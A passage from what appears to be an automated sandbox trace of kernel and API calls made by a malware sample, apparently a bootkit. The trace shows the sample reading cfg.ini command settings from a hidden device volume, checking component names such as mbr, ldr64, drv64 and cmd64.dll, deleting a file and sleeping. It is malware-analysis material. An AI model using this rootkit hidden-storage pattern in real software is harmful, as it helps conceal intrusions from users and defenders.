| out: Event=0xfffff880028b25d0) [0124.555] IdePortDispatch () returned 0x103 [0124.556] KeWaitForMutexObject () returned 0x0 [0124.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.556] KeLeaveCriticalRegion () [0124.556] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.556] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.556] KeEnterCriticalRegion () [0124.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.556] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.556] KeLeaveCriticalRegion () [0124.556] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.556] KeEnterCriticalRegion () [0124.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.556] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.556] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.556] KeLeaveCriticalRegion () [0124.556] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.556] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.556] KeEnterCriticalRegion () [0124.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.556] ExFreePoolWithTag (P=0xfffffa8003bf2b30, Tag=0x0) [0124.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.557] KeLeaveCriticalRegion () [0124.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.557] ReleaseMutex (hMutex=0xf0) returned 1 [0124.557] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.557] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.557] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.557] KeEnterCriticalRegion () [0124.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.557] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.557] IdePortDispatch () returned 0x103 [0124.557] KeWaitForMutexObject () returned 0x0 [0124.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.557] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.557] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.557] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.557] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.557] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1440 [0124.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.557] KeLeaveCriticalRegion () [0124.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.557] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.557] KeEnterCriticalRegion () [0124.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.557] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.557] KeLeaveCriticalRegion () [0124.557] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.557] KeEnterCriticalRegion () [0124.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.558] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.558] IdePortDispatch () returned 0x103 [0124.558] KeWaitForMutexObject () returned 0x0 [0124.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.558] KeLeaveCriticalRegion () [0124.558] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.558] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.558] KeEnterCriticalRegion () [0124.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800357b000 [0124.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.558] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.558] IdePortDispatch () returned 0x103 [0124.558] KeWaitForMutexObject () returned 0x0 [0124.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.558] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.559] IdePortDispatch () returned 0x103 [0124.559] KeWaitForMutexObject () returned 0x0 [0124.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.559] KeLeaveCriticalRegion () [0124.559] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.559] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.559] KeEnterCriticalRegion () [0124.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.559] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.559] KeLeaveCriticalRegion () [0124.559] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.559] KeEnterCriticalRegion () [0124.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.559] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.559] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.559] KeLeaveCriticalRegion () [0124.559] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.559] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.559] KeEnterCriticalRegion () [0124.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.560] ExFreePoolWithTag (P=0xfffffa8003bf1440, Tag=0x0) [0124.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.560] KeLeaveCriticalRegion () [0124.560] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.560] ReleaseMutex (hMutex=0xf0) returned 1 [0124.560] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.560] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.560] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.560] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.560] KeEnterCriticalRegion () [0124.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.560] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.560] IdePortDispatch () returned 0x103 [0124.560] KeWaitForMutexObject () returned 0x0 [0124.560] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.560] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.560] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.560] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.560] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.560] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.560] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.560] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.560] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.560] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.560] KeLeaveCriticalRegion () [0124.560] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.560] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.561] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.561] KeEnterCriticalRegion () [0124.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.561] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.561] IdePortDispatch () returned 0x103 [0124.561] KeWaitForMutexObject () returned 0x0 [0124.561] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.561] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.561] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.561] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.561] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.561] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.561] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.561] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.561] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.561] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.561] KeLeaveCriticalRegion () [0124.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.561] ReleaseMutex (hMutex=0x100) returned 1 [0124.561] Sleep (dwMilliseconds=0x2bf20) [0124.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d715b30, dwHighDateTime=0x1d24fa4)) [0124.567] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.567] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.568] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.568] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.568] KeEnterCriticalRegion () [0124.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.568] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.568] IdePortDispatch () returned 0x103 [0124.568] KeWaitForMutexObject () returned 0x0 [0124.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.568] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.568] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.568] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.568] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.568] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1190 [0124.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.568] KeLeaveCriticalRegion () [0124.568] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.568] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.568] KeEnterCriticalRegion () [0124.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.568] KeLeaveCriticalRegion () [0124.568] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.568] KeEnterCriticalRegion () [0124.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.568] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.568] IdePortDispatch () returned 0x103 [0124.569] KeWaitForMutexObject () returned 0x0 [0124.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.569] KeLeaveCriticalRegion () [0124.569] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.569] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.569] KeEnterCriticalRegion () [0124.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800357e000 [0124.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.569] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.569] IdePortDispatch () returned 0x103 [0124.569] KeWaitForMutexObject () returned 0x0 [0124.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.569] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.569] IdePortDispatch () returned 0x103 [0124.569] KeWaitForMutexObject () returned 0x0 [0124.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.569] KeLeaveCriticalRegion () [0124.569] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.570] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.570] KeEnterCriticalRegion () [0124.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.570] KeLeaveCriticalRegion () [0124.570] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.570] KeEnterCriticalRegion () [0124.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.570] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.570] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.570] KeLeaveCriticalRegion () [0124.570] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.570] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.570] KeEnterCriticalRegion () [0124.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.570] ExFreePoolWithTag (P=0xfffffa8003bf1190, Tag=0x0) [0124.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.570] KeLeaveCriticalRegion () [0124.570] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.570] ReleaseMutex (hMutex=0xf0) returned 1 [0124.570] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.570] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.570] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.570] KeEnterCriticalRegion () [0124.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.571] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.571] IdePortDispatch () returned 0x103 [0124.571] KeWaitForMutexObject () returned 0x0 [0124.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.571] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.571] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.571] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.571] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.571] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1850 [0124.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.571] KeLeaveCriticalRegion () [0124.571] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.571] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.571] KeEnterCriticalRegion () [0124.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.571] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 